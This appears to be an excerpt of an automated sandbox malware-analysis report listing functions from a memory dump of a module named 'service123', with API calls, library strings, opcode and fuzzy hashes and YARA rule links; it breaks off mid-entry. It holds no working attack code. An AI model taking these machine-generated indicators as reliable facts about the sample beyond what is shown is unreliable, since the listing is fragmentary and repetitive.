Opcode ID: db461274e76920a6bce1116d522a3e73d95c3528e2a39d33647fe38775eef220
Instruction ID: 5313debdd4a4cb1428c0931b357ff6e4ec290ee7f3992c381a4faa60b28f3562
Opcode Fuzzy Hash: db461274e76920a6bce1116d522a3e73d95c3528e2a39d33647fe38775eef220
Instruction Fuzzy Hash: C8215CB650A3158FC700DF29D1C0919FBF4BF8A618F24896EE898CB711D335D849CB52

Function 6C98E1E0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C98E203
memcpy.MSVCRT ref: 6C98E26F

Strings

basic_string::_M_construct null not valid, xrefs: 6C98E280

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: memcpystrlen
String ID: basic_string::_M_construct null not valid
API String ID: 3412268980-3522614731
Opcode ID: 84cac3d64e53ad32b91180cfe6ea02d0c61da6618ca180ade2496a22167a494c
Instruction ID: 4eb8e576bcb4a8e7662b2f5acfe3c4251b2f53d68a08ff82a81528b9f04237bd
Opcode Fuzzy Hash: 84cac3d64e53ad32b91180cfe6ea02d0c61da6618ca180ade2496a22167a494c
Instruction Fuzzy Hash: 421149B550A3548FC710DF69D580A5AFBF4EF8A218F14886EE888CB705D331D849CBA2

Function 6C98DC30 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C98DC53
memcpy.MSVCRT ref: 6C98DCBF

Strings

basic_string::_M_construct null not valid, xrefs: 6C98DCD0

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: memcpystrlen
String ID: basic_string::_M_construct null not valid
API String ID: 3412268980-3522614731
Opcode ID: 84cac3d64e53ad32b91180cfe6ea02d0c61da6618ca180ade2496a22167a494c
Instruction ID: de9981ffeeed23c78fbdbbf4d877db449e1855a35e2a1f4c836f5c7447941daf
Opcode Fuzzy Hash: 84cac3d64e53ad32b91180cfe6ea02d0c61da6618ca180ade2496a22167a494c
Instruction Fuzzy Hash: 18115EB550A3158FC700DF29D1C095AFBF8EF9A218F14886EE898CB701D371D849CB62

Function 6C96ED09 Relevance: 4.5, APIs: 3, Instructions: 13COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFF9
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFFE
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA40003

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 8f3b9ef0074d9553414570e717a95cb4ad041b719c7c3d33884d608b088a4006
Instruction ID: e475abc06d2963848db98bf2ddaec7115bb6335cea12d5e6aa6ad621f4f1c197
Opcode Fuzzy Hash: 8f3b9ef0074d9553414570e717a95cb4ad041b719c7c3d33884d608b088a4006
Instruction Fuzzy Hash: 68C04C21C8611485D7305EBD18193FAA1295B7324EF443406844567D644F13D056417B

Function 6C9C4040 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 838COMMON

Download Yara Rule

Strings

-, xrefs: 6C9C4C6B

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: memset
String ID: -
API String ID: 2221118986-2547889144
Opcode ID: 8592556d0b9671c244201ad15dd3c0754985640ff8816b03c70366a93903f9c2
Instruction ID: 6590032dace31b98fb2ffead58fb4c287b7b4e675c2fcc5003a82d0ef2044645
Opcode Fuzzy Hash: 8592556d0b9671c244201ad15dd3c0754985640ff8816b03c70366a93903f9c2
Instruction Fuzzy Hash: 9F728C71B042498FDB00CF68C084BADBBF1AF45328F258658E864ABB91D335E945CF83

Function 6C9C32F0 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 837COMMON

Download Yara Rule

Strings

-, xrefs: 6C9C3F1B

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: memset
String ID: -
API String ID: 2221118986-2547889144
Opcode ID: 7608baa9c99f6ccd963997534497934c474edd33b58c879c19919811f1d5baa7
Instruction ID: 2767eea18742446debcb2a889435f5aaa3787a0e04383956f37085d0be7fc9e3
Opcode Fuzzy Hash: 7608baa9c99f6ccd963997534497934c474edd33b58c879c19919811f1d5baa7
Instruction Fuzzy Hash: 80724871A042498FDB00CF79C084BDDBBF1BF09328F258658E8659BB91D735E946CB82

Function 6CA08880 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 6CA088FE

Part of subcall function 6CA0A720: memcpy.MSVCRT ref: 6CA0A796
Part of subcall function 6CA0A720: memcpy.MSVCRT ref: 6CA0A7D6
Part of subcall function 6CA0A720: memcpy.MSVCRT ref: 6CA0A812

Strings

basic_string::_M_replace_aux, xrefs: 6CA089A0

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: memcpy$memmove
String ID: basic_string::_M_replace_aux
API String ID: 1283327689-2536181960
Opcode ID: ba41152bbc73129a7e75ec7b25292ef442dc406057902f4af17b5021eaf2c5b4
Instruction ID: cdab653d6df65e51ca4f0740eb5ca2a616bf3dc22f59d2da28f47da22f957be6
Opcode Fuzzy Hash: ba41152bbc73129a7e75ec7b25292ef442dc406057902f4af17b5021eaf2c5b4
Instruction Fuzzy Hash: 63317231609B058FC710AF99E48056AB7F1FF85398F24882EE5A587B50E731D989CB47

Function 6C9D2AF0 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 49COMMON

Download Yara Rule

Strings

basic_string::_S_construct null not valid, xrefs: 6C9D2B70

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID:
String ID: basic_string::_S_construct null not valid
API String ID: 0-290684606
Opcode ID: 421fa38115bb1c87306737f88c4ce76cbe44ce3d801783297d2e878b9c4cc128
Instruction ID: 0f0e5a49ccee8ff0ed6a34dd2c754b8aa040a645cee95aa58d33d816121608a9
Opcode Fuzzy Hash: 421fa38115bb1c87306737f88c4ce76cbe44ce3d801783297d2e878b9c4cc128
Instruction Fuzzy Hash: 9F018071509B419AC3005F2A918871BFFE8AF92254F55D82DE4C857A11C279E8488B52

Function 6C992A7C Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 39stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C992AB3
memcpy.MSVCRT ref: 6C992B1F
strlen.MSVCRT ref: 6C992B63

Strings

basic_string::_M_construct null not valid, xrefs: 6C992A80

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: strlen$memcpy
String ID: basic_string::_M_construct null not valid
API String ID: 3396830738-3522614731
Opcode ID: 1ec657d4a095de9c6f2afba261c4e92d377df3468781b0a5647cf8dabcdea517
Instruction ID: 97ca4b9b39c4f32790ccfcc2366f8bba25d8415bcc1b2a443f5658894ab4ce95
Opcode Fuzzy Hash: 1ec657d4a095de9c6f2afba261c4e92d377df3468781b0a5647cf8dabcdea517
Instruction Fuzzy Hash: B1F0C2765062548FC3209F79A48455AFBF8EF57218F298869D988CB702D231D845CBA6

Function 6C992B2C Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 39stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C992B63
memcpy.MSVCRT ref: 6C992BCF

Strings

basic_string::_M_construct null not valid, xrefs: 6C992B30

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: memcpystrlen
String ID: basic_string::_M_construct null not valid
API String ID: 3412268980-3522614731
Opcode ID: b4f6345845191436c9cbd64c7eb73b81ddd1d0d45448fc69c8eb7771728cd85b
Instruction ID: b49d744a96e6a02e8cff66e9f24f4b80e7fe63318b285313f28d83a0aa150f0c
Opcode Fuzzy Hash: b4f6345845191436c9cbd64c7eb73b81ddd1d0d45448fc69c8eb7771728cd85b
Instruction Fuzzy Hash: 9EF0227640A2108FC3108F3994C4556FBF8EF57218F298869D888CB702D231D844CBA2

Function 6C98E34C Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 39stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C98E383
memcpy.MSVCRT ref: 6C98E3EF

Strings

basic_string::_M_construct null not valid, xrefs: 6C98E350

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: memcpystrlen
String ID: basic_string::_M_construct null not valid
API String ID: 3412268980-3522614731
Opcode ID: b4f6345845191436c9cbd64c7eb73b81ddd1d0d45448fc69c8eb7771728cd85b
Instruction ID: 4ec949d29c042ebda1a976b98691d333326115b3ec7b48b936d33e481d90623c
Opcode Fuzzy Hash: b4f6345845191436c9cbd64c7eb73b81ddd1d0d45448fc69c8eb7771728cd85b
Instruction Fuzzy Hash: 42F0C27A5063548FC3109F79948055AFBF8EF97218F259C6AE988CB702D231D845CBA2

Function 6C98DD9C Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 39stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C98DDD3
memcpy.MSVCRT ref: 6C98DE3F

Strings

basic_string::_M_construct null not valid, xrefs: 6C98DDA0

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: memcpystrlen
String ID: basic_string::_M_construct null not valid
API String ID: 3412268980-3522614731
Opcode ID: b4f6345845191436c9cbd64c7eb73b81ddd1d0d45448fc69c8eb7771728cd85b
Instruction ID: a1a203ec44e96eeb6f622e8abf26ebe8c3d187aaa3f11bcc60afca7b4a4b7667
Opcode Fuzzy Hash: b4f6345845191436c9cbd64c7eb73b81ddd1d0d45448fc69c8eb7771728cd85b
Instruction Fuzzy Hash: 03F0C2765062548FC3109F79D4C0956FBF8FF6B218F25886AE988CB702D331D845CBA2

Function 6C963580 Relevance: 2.9, Strings: 2, Instructions: 398COMMON

Download Yara Rule

Strings

string literal, xrefs: 6C963AA4
std, xrefs: 6C96372E

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID:
String ID: std$string literal
API String ID: 0-2980153874
Opcode ID: fadc6ab874d5366d89d280fb019d6263aaf1b0bf8a4071e328926af0729c7919
Instruction ID: f3955c2c506413e1892760dbfbb576a7c239a5ea6737eecce16ef500fe7ea887
Opcode Fuzzy Hash: fadc6ab874d5366d89d280fb019d6263aaf1b0bf8a4071e328926af0729c7919
Instruction Fuzzy Hash: DDE19EB1A046018FF700CF3BC880796B7A6BF55358F5886A9D8598FFD6E739D8458B80

Function 6C983EF0 Relevance: 2.5, Strings: 2, Instructions: 42COMMON

Download Yara Rule

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 6C983F50
basic_string::substr, xrefs: 6C983F48

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID:
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::substr
API String ID: 0-3532027576
Opcode ID: 80844009d4a9d8427f8b564908cadd43d2456dcf282fd7cb7c3e7aff79874877
Instruction ID: c55828574eb5bc44dec249f4db819daf385779ecfbde76f20bbe8d353bdd3a8e
Opcode Fuzzy Hash: 80844009d4a9d8427f8b564908cadd43d2456dcf282fd7cb7c3e7aff79874877
Instruction Fuzzy Hash: AB0124B2A0A3019FD708CF69C981A5AFBE4BBC9750F00996DF488D7704C234D8848B86

Function 6C990740 Relevance: 2.5, Strings: 2, Instructions: 42COMMON

Download Yara Rule

Strings

basic_string::substr, xrefs: 6C990798
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 6C9907A0

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID:
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::substr
API String ID: 0-3532027576
Opcode ID: b6352eb35aaffa18adb7a82e38b56b22cdf17d0133fde0c2e70d9a12a67e60d2
Instruction ID: 37b8a14268a32c2b1ae2904d844f7b1952f3ae1280c10fed811c1d21a8483e31
Opcode Fuzzy Hash: b6352eb35aaffa18adb7a82e38b56b22cdf17d0133fde0c2e70d9a12a67e60d2
Instruction Fuzzy Hash: D7017871A182108FC704DF2CC58091EFBE5FBC9708F5089ADE0889B314D631D889CB86

Function 6C9A4EF3 Relevance: 2.2, APIs: 1, Instructions: 923COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3cb9a93b33c29333dd7a9cd762b66fc31a0f3cc90cbfca55cae1553175c64a49
Instruction ID: 661cdc06145a69a979e2e0a317bfd1ca255c8fdec54741c508fd7079bc2ee9e1
Opcode Fuzzy Hash: 3cb9a93b33c29333dd7a9cd762b66fc31a0f3cc90cbfca55cae1553175c64a49
Instruction Fuzzy Hash: 43922674E096A8CFDB10CFE8C48479DBBF1AF49314F288659D865ABB91D374E846CB40

Function 6C9A5CB0 Relevance: 2.2, APIs: 1, Instructions: 907COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0fc2c6271f6d569733e8a2e3a047280a837ca6dec8359839b3a66df0e43edfd0
Instruction ID: bb1118009c76cc4602f7ab96603b5ef2ccd58e5dcfc177b1f062d2f89783334d
Opcode Fuzzy Hash: 0fc2c6271f6d569733e8a2e3a047280a837ca6dec8359839b3a66df0e43edfd0
Instruction Fuzzy Hash: 70826A75A042A88FDB10CFACC48079DBBF1AF49324F298659D869EB795D734EC46CB40

Function 6C9C5E20 Relevance: 2.1, Strings: 1, Instructions: 874COMMON

Download Yara Rule

Strings

-, xrefs: 6C9C6A26

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: memset
String ID: -
API String ID: 2221118986-2547889144
Opcode ID: 7a07b9a220e2dd5701fb3b644d3ef1a48879add9cfc347ee791d5350ab9662a9
Instruction ID: 33fe4b7f6b9484d781f1a379f40037216c9b8bb006febd39d46a07e318feae14
Opcode Fuzzy Hash: 7a07b9a220e2dd5701fb3b644d3ef1a48879add9cfc347ee791d5350ab9662a9
Instruction Fuzzy Hash: E2826771A05259CFCB04CF68C084AADBBF1BF09318F158558E855EBA91D735E986CB83

Function 6C9C50C0 Relevance: 2.1, Strings: 1, Instructions: 873COMMON

Download Yara Rule

Strings

-, xrefs: 6C9C5CC6

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: memset
String ID: -
API String ID: 2221118986-2547889144
Opcode ID: 962b771ec80abb76ca975150204b9e1c34f4b634124d4fd864ec1c261ac56c19
Instruction ID: 1e8e75d4d4e5c4a4a336112312aa291d4934e9738579ccdb2748d3379f227e58
Opcode Fuzzy Hash: 962b771ec80abb76ca975150204b9e1c34f4b634124d4fd864ec1c261ac56c19
Instruction Fuzzy Hash: 87827770A05219CFCB00CF69C084A9DBBF1BF05318F598698E855ABB91D735ED86DB83

Function 6C9A42A5 Relevance: 2.1, APIs: 1, Instructions: 816COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
